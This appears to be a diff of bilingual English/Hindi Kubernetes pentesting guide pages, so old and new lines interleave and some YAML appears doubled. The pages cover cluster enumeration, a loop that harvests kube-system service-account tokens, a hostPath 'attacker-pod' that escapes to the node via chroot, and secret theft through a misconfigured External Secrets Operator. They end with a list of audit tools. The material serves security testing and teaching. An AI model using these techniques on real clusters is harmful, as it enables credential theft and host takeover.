||||
|
||||
### Get secrets
|
||||
### गुप्त जानकारी प्राप्त करें
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get secrets -o yaml
|
||||
k get secrets -o yaml -n custnamespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
|
||||
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
If you can read secrets you can use the following lines to get the privileges related to each to token:
|
||||
|
||||
यदि आप रहस्यों को पढ़ सकते हैं, तो आप प्रत्येक टोकन से संबंधित विशेषाधिकार प्राप्त करने के लिए निम्नलिखित पंक्तियों का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
|
||||
```
|
||||
### सेवा खातों को प्राप्त करें
|
||||
|
||||
### Get Service Accounts
|
||||
|
||||
As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.
|
||||
जैसा कि इस पृष्ठ की शुरुआत में चर्चा की गई थी **जब एक पॉड चलाया जाता है, तो आमतौर पर इसे एक सेवा खाता सौंपा जाता है**। इसलिए, सेवा खातों की सूची बनाना, उनकी अनुमतियाँ और वे कहाँ चल रहे हैं, एक उपयोगकर्ता को विशेषाधिकार बढ़ाने की अनुमति दे सकता है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get serviceaccounts
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Deployments
|
||||
### डिप्लॉयमेंट प्राप्त करें
|
||||
|
||||
The deployments specify the **components** that need to be **run**.
|
||||
डिप्लॉयमेंट उन **घटक** को निर्दिष्ट करते हैं जिन्हें **चलाना** आवश्यक है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get deployments
|
||||
k get deployments -n custnamespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Pods
|
||||
### Pods प्राप्त करें
|
||||
|
||||
The Pods are the actual **containers** that will **run**.
|
||||
Pods असली **कंटेनर** हैं जो **चलेंगे**।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get pods
|
||||
k get pods -n custnamespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Services
|
||||
### सेवाएँ प्राप्त करें
|
||||
|
||||
Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.
|
||||
Kubernetes **सेवाएँ** का उपयोग **एक विशिष्ट पोर्ट और IP में एक सेवा को उजागर करने के लिए** किया जाता है (जो उन पॉड्स के लिए लोड बैलेंसर के रूप में कार्य करेगा जो वास्तव में सेवा प्रदान कर रहे हैं)। यह जानना दिलचस्प है कि आप अन्य सेवाएँ कहाँ पा सकते हैं जिन पर आप हमला करने की कोशिश कर सकते हैं।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get services
|
||||
k get services -n custnamespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get nodes
|
||||
### नोड्स प्राप्त करें
|
||||
|
||||
Get all the **nodes configured inside the cluster**.
|
||||
**क्लस्टर के अंदर कॉन्फ़िगर किए गए सभी नोड्स प्राप्त करें**।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get nodes
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/nodes/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get DaemonSets
|
||||
|
||||
**DaeamonSets** allows to ensure that a **specific pod is running in all the nodes** of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.
|
||||
**DaeamonSets** यह सुनिश्चित करने की अनुमति देता है कि **एक विशिष्ट पॉड क्लस्टर के सभी नोड्स में चल रहा है** (या चयनित नोड्स में)। यदि आप DaemonSet को हटाते हैं, तो इसके द्वारा प्रबंधित पॉड्स भी हटा दिए जाएंगे।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get daemonsets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get cronjob
|
||||
### क्रोनजॉब प्राप्त करें
|
||||
|
||||
Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.
|
||||
क्रोन जॉब्स को क्रॉन्टैब जैसे सिंटैक्स का उपयोग करके एक पॉड के लॉन्च को शेड्यूल करने की अनुमति देता है जो कुछ क्रिया करेगा।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get cronjobs
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get configMap
|
||||
### configMap प्राप्त करें
|
||||
|
||||
configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.
|
||||
configMap हमेशा बहुत सारी जानकारी और configfile शामिल करता है जो उन ऐप्स को प्रदान करता है जो kubernetes में चलते हैं। आमतौर पर, आप बहुत सारे पासवर्ड, रहस्य, टोकन पा सकते हैं जो अन्य आंतरिक/बाहरी सेवा से कनेक्ट करने और मान्य करने के लिए उपयोग किए जाते हैं।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get configmaps # -n namespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Network Policies / Cilium Network Policies
|
||||
### नेटवर्क नीतियाँ प्राप्त करें / Cilium नेटवर्क नीतियाँ
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="First Tab" }}
|
||||
|
||||
{{#tab name="पहला टैब" }}
|
||||
```bash
|
||||
k get networkpolicies
|
||||
k get CiliumNetworkPolicies
|
||||
k get CiliumClusterwideNetworkPolicies
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Everything / All
|
||||
### सब कुछ प्राप्त करें / सभी
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get all
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **Get all resources managed by helm**
|
||||
### **हेल्म द्वारा प्रबंधित सभी संसाधन प्राप्त करें**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **Get Pods consumptions**
|
||||
### **पॉड्स की खपत प्राप्त करें**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k top pod --all-namespaces
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Escaping from the pod
|
||||
|
||||
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
|
||||
### पॉड से बाहर निकलना
|
||||
|
||||
यदि आप नए पॉड बनाने में सक्षम हैं, तो आप उनसे नोड में बाहर निकलने में सक्षम हो सकते हैं। ऐसा करने के लिए, आपको एक yaml फ़ाइल का उपयोग करके एक नया पॉड बनाना होगा, बनाए गए पॉड में स्विच करना होगा और फिर नोड के सिस्टम में chroot करना होगा। आप yaml फ़ाइल के लिए संदर्भ के रूप में पहले से मौजूद पॉड का उपयोग कर सकते हैं क्योंकि वे मौजूदा छवियों और पथों को प्रदर्शित करते हैं।
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
|
||||
> if you need create pod on the specific node, you can use following command to get labels on node
|
||||
> यदि आपको किसी विशेष नोड पर पॉड बनाना है, तो आप नोड पर लेबल प्राप्त करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं
|
||||
>
|
||||
> `k get nodes --show-labels`
|
||||
>
|
||||
> Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select.
|
||||
|
||||
Then you create your attack.yaml file
|
||||
> सामान्यतः, kubernetes.io/hostname और node-role.kubernetes.io/master सभी अच्छे लेबल हैं चयन के लिए।
|
||||
|
||||
फिर आप अपना attack.yaml फ़ाइल बनाते हैं
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
labels:
|
||||
run: attacker-pod
|
||||
name: attacker-pod
|
||||
namespace: default
|
||||
labels:
|
||||
run: attacker-pod
|
||||
name: attacker-pod
|
||||
namespace: default
|
||||
spec:
|
||||
volumes:
|
||||
- name: host-fs
|
||||
hostPath:
|
||||
path: /
|
||||
containers:
|
||||
- image: ubuntu
|
||||
imagePullPolicy: Always
|
||||
name: attacker-pod
|
||||
command: ["/bin/sh", "-c", "sleep infinity"]
|
||||
volumeMounts:
|
||||
- name: host-fs
|
||||
mountPath: /root
|
||||
restartPolicy: Never
|
||||
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
|
||||
#nodeName: master
|
||||
#nodeSelector:
|
||||
# kubernetes.io/hostname: master
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
volumes:
|
||||
- name: host-fs
|
||||
hostPath:
|
||||
path: /
|
||||
containers:
|
||||
- image: ubuntu
|
||||
imagePullPolicy: Always
|
||||
name: attacker-pod
|
||||
command: ["/bin/sh", "-c", "sleep infinity"]
|
||||
volumeMounts:
|
||||
- name: host-fs
|
||||
mountPath: /root
|
||||
restartPolicy: Never
|
||||
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
|
||||
#nodeName: master
|
||||
#nodeSelector:
|
||||
# kubernetes.io/hostname: master
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
```
|
||||
|
||||
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
|
||||
After that you create the pod
|
||||
|
||||
उसके बाद आप पॉड बनाते हैं
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
|
||||
Now you can switch to the created pod as follows
|
||||
|
||||
अब आप निम्नलिखित के अनुसार बनाए गए पॉड पर स्विच कर सकते हैं
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
|
||||
And finally you chroot into the node's system
|
||||
|
||||
और अंत में आप नोड के सिस्टम में chroot करते हैं
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
जानकारी प्राप्त की गई: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
{{#ref}}
|
||||
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,113 +1,101 @@
|
||||
# External Secret Operator
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
|
||||
यह पृष्ठ कुछ संकेत देता है कि आप कैसे एक गलत कॉन्फ़िगर किए गए ESO या एप्लिकेशन से रहस्यों को चुरा सकते हैं जो अपने रहस्यों को समन्वयित करने के लिए ESO का उपयोग करता है।
|
||||
|
||||
## Disclaimer
|
||||
## अस्वीकरण
|
||||
|
||||
The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
|
||||
नीचे दिखाए गए तकनीक केवल तभी काम कर सकती है जब कुछ परिस्थितियाँ पूरी हों। उदाहरण के लिए, यह इस पर निर्भर करता है कि एक रहस्य को उस नामस्थान पर समन्वयित करने की अनुमति देने के लिए आवश्यकताएँ क्या हैं जो आप स्वामित्व में रखते हैं / समझौता कर चुके हैं। आपको इसे स्वयं पता करना होगा।
|
||||
|
||||
## Prerequisites
|
||||
## पूर्वापेक्षाएँ
|
||||
|
||||
1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
|
||||
2. Read access on at least ExternalSecret at cluster level
|
||||
3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
|
||||
1. एक kubernetes / openshift क्लस्टर में एक पैर जमाना जिसमें एक नामस्थान पर प्रशासनिक विशेषाधिकार हो
|
||||
2. क्लस्टर स्तर पर कम से कम ExternalSecret पर पढ़ने की पहुंच
|
||||
3. यह पता करें कि क्या कोई आवश्यक लेबल / एनोटेशन या समूह सदस्यता की आवश्यकता है जो ESO को आपके रहस्य को समन्वयित करने की अनुमति देती है। यदि आप भाग्यशाली हैं, तो आप किसी भी परिभाषित रहस्य को स्वतंत्र रूप से चुरा सकते हैं।
|
||||
|
||||
### Gathering information about existing ClusterSecretStore
|
||||
|
||||
Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.
|
||||
### मौजूदा ClusterSecretStore के बारे में जानकारी इकट्ठा करना
|
||||
|
||||
मान लेते हैं कि आपके पास एक उपयोगकर्ता है जिसके पास इस संसाधन को पढ़ने के लिए पर्याप्त अधिकार हैं; पहले मौजूदा _**ClusterSecretStores**_ की सूची बनाकर शुरू करें।
|
||||
```sh
|
||||
kubectl get ClusterSecretStore
|
||||
```
|
||||
|
||||
### ExternalSecret enumeration
|
||||
|
||||
Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.
|
||||
|
||||
मान लीजिए कि आपने _**mystore**_ नाम का ClusterSecretStore पाया है। इसके संबंधित externalsecret की गणना जारी रखें।
|
||||
```sh
|
||||
kubectl get externalsecret -A | grep mystore
|
||||
```
|
||||
_यह संसाधन नामस्थान स्कोप किया गया है इसलिए जब तक आप पहले से नहीं जानते कि किस नामस्थान में देखना है, सभी नामस्थानों में देखने के लिए -A विकल्प जोड़ें।_
|
||||
|
||||
_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
|
||||
|
||||
You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
|
||||
|
||||
आपको परिभाषित externalsecret की एक सूची मिलनी चाहिए। मान लीजिए कि आपने _**mysecret**_ नाम का एक externalsecret ऑब्जेक्ट पाया है जो नामस्थान _**mynamespace**_ द्वारा परिभाषित और उपयोग किया गया है। यह जानने के लिए थोड़ी और जानकारी इकट्ठा करें कि यह किस प्रकार का रहस्य रखता है।
|
||||
```sh
|
||||
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
|
||||
```
|
||||
|
||||
### Assembling the pieces
|
||||
|
||||
From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
|
||||
|
||||
यहाँ से आप एक या एक से अधिक गुप्त नाम (जैसे कि Secret संसाधन में परिभाषित) प्राप्त कर सकते हैं। आपको एक आउटपुट मिलेगा जो इस प्रकार होगा:
|
||||
```yaml
|
||||
kind: ExternalSecret
|
||||
metadata:
|
||||
annotations:
|
||||
...
|
||||
labels:
|
||||
...
|
||||
annotations:
|
||||
...
|
||||
labels:
|
||||
...
|
||||
spec:
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
...
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
...
|
||||
```
|
||||
अब तक हमारे पास है:
|
||||
|
||||
So far we got:
|
||||
|
||||
- Name a ClusterSecretStore
|
||||
- Name of an ExternalSecret
|
||||
- Name of the secret
|
||||
|
||||
Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
|
||||
- एक ClusterSecretStore का नाम
|
||||
- एक ExternalSecret का नाम
|
||||
- सीक्रेट का नाम
|
||||
|
||||
अब जब हमारे पास सब कुछ है, आप एक ExternalSecret बना सकते हैं (और अंततः आवश्यकताओं के अनुसार एक नया Namespace पैच/बनाने के लिए अपने नए सीक्रेट को सिंक करने के लिए):
|
||||
```yaml
|
||||
kind: ExternalSecret
|
||||
metadata:
|
||||
name: myexternalsecret
|
||||
namespace: evilnamespace
|
||||
name: myexternalsecret
|
||||
namespace: evilnamespace
|
||||
spec:
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
refreshInterval: 30s
|
||||
secretStoreRef:
|
||||
kind: ClusterSecretStore
|
||||
name: mystore
|
||||
target:
|
||||
creationPolicy: Owner
|
||||
deletionPolicy: Retain
|
||||
name: leaked_secret
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
refreshInterval: 30s
|
||||
secretStoreRef:
|
||||
kind: ClusterSecretStore
|
||||
name: mystore
|
||||
target:
|
||||
creationPolicy: Owner
|
||||
deletionPolicy: Retain
|
||||
name: leaked_secret
|
||||
```
|
||||
|
||||
```yaml
|
||||
kind: Namespace
|
||||
metadata:
|
||||
annotations:
|
||||
required_annotation: value
|
||||
other_required_annotation: other_value
|
||||
labels:
|
||||
required_label: somevalue
|
||||
other_required_label: someothervalue
|
||||
name: evilnamespace
|
||||
annotations:
|
||||
required_annotation: value
|
||||
other_required_annotation: other_value
|
||||
labels:
|
||||
required_label: somevalue
|
||||
other_required_label: someothervalue
|
||||
name: evilnamespace
|
||||
```
|
||||
|
||||
After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
|
||||
|
||||
कुछ मिनटों के बाद, यदि समन्वय की शर्तें पूरी हो गईं, तो आप अपने नामस्थान के अंदर लीक किया गया रहस्य देख सकेंगे।
|
||||
```sh
|
||||
kubectl get secret leaked_secret -o yaml
|
||||
```
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
{{#ref}}
|
||||
https://external-secrets.io/latest/
|
||||
@@ -116,7 +104,3 @@ https://external-secrets.io/latest/
|
||||
{{#ref}}
|
||||
https://github.com/external-secrets/external-secrets
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,92 +6,86 @@
|
||||
|
||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) is a K8s open-source tool providing a multi-cloud K8s single pane of glass, including risk analysis, security compliance, RBAC visualizer and image vulnerabilities scanning. Kubescape scans K8s clusters, YAML files, and HELM charts, detecting misconfigurations according to multiple frameworks (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), software vulnerabilities, and RBAC (role-based-access-control) violations at early stages of the CI/CD pipeline, calculates risk score instantly and shows risk trends over time.
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) एक K8s ओपन-सोर्स टूल है जो एक मल्टी-क्लाउड K8s सिंगल पेन ऑफ ग्लास प्रदान करता है, जिसमें जोखिम विश्लेषण, सुरक्षा अनुपालन, RBAC विज़ुअलाइज़र और इमेज कमजोरियों की स्कैनिंग शामिल है। Kubescape K8s क्लस्टर, YAML फ़ाइलों और HELM चार्ट्स को स्कैन करता है, कई ढांचों के अनुसार गलत कॉन्फ़िगरेशन का पता लगाता है (जैसे [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo), [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), सॉफ़्टवेयर कमजोरियाँ, और RBAC (भूमिका-आधारित-एक्सेस-नियंत्रण) उल्लंघनों का पता लगाता है CI/CD पाइपलाइन के प्रारंभिक चरणों में, तुरंत जोखिम स्कोर की गणना करता है और समय के साथ जोखिम प्रवृत्तियों को दिखाता है।
|
||||
```bash
|
||||
kubescape scan --verbose
|
||||
```
|
||||
|
||||
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
||||
|
||||
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
|
||||
You can choose to:
|
||||
उपकरण [**kube-bench**](https://github.com/aquasecurity/kube-bench) एक ऐसा उपकरण है जो यह जांचता है कि क्या Kubernetes को सुरक्षित रूप से तैनात किया गया है, [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/) में दस्तावेजीकृत जांचों को चलाकर।\
|
||||
आप चुन सकते हैं:
|
||||
|
||||
- run kube-bench from inside a container (sharing PID namespace with the host)
|
||||
- run a container that installs kube-bench on the host, and then run kube-bench directly on the host
|
||||
- install the latest binaries from the [Releases page](https://github.com/aquasecurity/kube-bench/releases),
|
||||
- compile it from source.
|
||||
- kube-bench को एक कंटेनर के अंदर चलाना (होस्ट के साथ PID नामस्थान साझा करना)
|
||||
- एक कंटेनर चलाना जो होस्ट पर kube-bench स्थापित करता है, और फिर सीधे होस्ट पर kube-bench चलाना
|
||||
- [Releases page](https://github.com/aquasecurity/kube-bench/releases) से नवीनतम बाइनरी स्थापित करना,
|
||||
- इसे स्रोत से संकलित करना।
|
||||
|
||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||
|
||||
The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
|
||||
|
||||
Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster:
|
||||
उपकरण [**kubeaudit**](https://github.com/Shopify/kubeaudit) एक कमांड लाइन उपकरण और विभिन्न सुरक्षा चिंताओं के लिए **Kubernetes क्लस्टर्स** का ऑडिट करने के लिए एक Go पैकेज है।
|
||||
|
||||
Kubeaudit यह पहचान सकता है कि क्या यह किसी क्लस्टर में एक कंटेनर के भीतर चल रहा है। यदि हां, तो यह उस क्लस्टर में सभी Kubernetes संसाधनों का ऑडिट करने की कोशिश करेगा:
|
||||
```
|
||||
kubeaudit all
|
||||
```
|
||||
|
||||
This tool also has the argument `autofix` to **automatically fix detected issues.**
|
||||
यह उपकरण `autofix` तर्क भी रखता है ताकि **पाई गई समस्याओं को स्वचालित रूप से ठीक किया जा सके।**
|
||||
|
||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||
|
||||
The tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments.
|
||||
|
||||
उपकरण [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) Kubernetes क्लस्टरों में सुरक्षा कमजोरियों की खोज करता है। इस उपकरण को Kubernetes वातावरण में सुरक्षा मुद्दों के प्रति जागरूकता और दृश्यता बढ़ाने के लिए विकसित किया गया था।
|
||||
```bash
|
||||
kube-hunter --remote some.node.com
|
||||
```
|
||||
|
||||
### [**Kubei**](https://github.com/Erezf-p/kubei)
|
||||
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) is a vulnerabilities scanning and CIS Docker benchmark tool that allows users to get an accurate and immediate risk assessment of their kubernetes clusters. Kubei scans all images that are being used in a Kubernetes cluster, including images of application pods and system pods.
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) एक कमजोरियों की स्कैनिंग और CIS Docker बेंचमार्क उपकरण है जो उपयोगकर्ताओं को उनके कुबेरनेट्स क्लस्टर का सटीक और तात्कालिक जोखिम मूल्यांकन प्राप्त करने की अनुमति देता है। Kubei सभी छवियों को स्कैन करता है जो कुबेरनेट्स क्लस्टर में उपयोग की जा रही हैं, जिसमें एप्लिकेशन पॉड्स और सिस्टम पॉड्स की छवियाँ शामिल हैं।
|
||||
|
||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) is a tool for scanning Kubernetes cluster for risky permissions in Kubernetes's Role-based access control (RBAC) authorization model.
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) कुबेरनेट्स के रोल-आधारित एक्सेस कंट्रोल (RBAC) प्राधिकरण मॉडल में जोखिम भरे अनुमतियों के लिए कुबेरनेट्स क्लस्टर को स्कैन करने के लिए एक उपकरण है।
|
||||
|
||||
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
||||
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) is a tool built to test other type of high risk checks compared with the other tools. It mainly have 3 different modes:
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) अन्य उपकरणों की तुलना में उच्च जोखिम की जांच करने के लिए बनाया गया एक उपकरण है। इसमें मुख्य रूप से 3 विभिन्न मोड हैं:
|
||||
|
||||
- **`find-role-relationships`**: Which will find which AWS roles are running in which pods
|
||||
- **`find-secrets`**: Which tries to identify secrets in K8s resources such as Pods, ConfigMaps, and Secrets.
|
||||
- **`test-imds-access`**: Which will try to run pods and try to access the metadata v1 and v2. WARNING: This will run a pod in the cluster, be very careful because maybe you don't want to do this!
|
||||
- **`find-role-relationships`**: जो यह पता लगाएगा कि कौन से AWS भूमिकाएँ किस पॉड में चल रही हैं
|
||||
- **`find-secrets`**: जो Pods, ConfigMaps, और Secrets जैसे K8s संसाधनों में रहस्यों की पहचान करने की कोशिश करता है।
|
||||
- **`test-imds-access`**: जो पॉड्स को चलाने और मेटाडेटा v1 और v2 तक पहुँचने की कोशिश करेगा। चेतावनी: यह क्लस्टर में एक पॉड चलाएगा, बहुत सावधान रहें क्योंकि शायद आप यह नहीं करना चाहते!
|
||||
|
||||
## **Audit IaC Code**
|
||||
|
||||
### [**Popeye**](https://github.com/derailed/popeye)
|
||||
|
||||
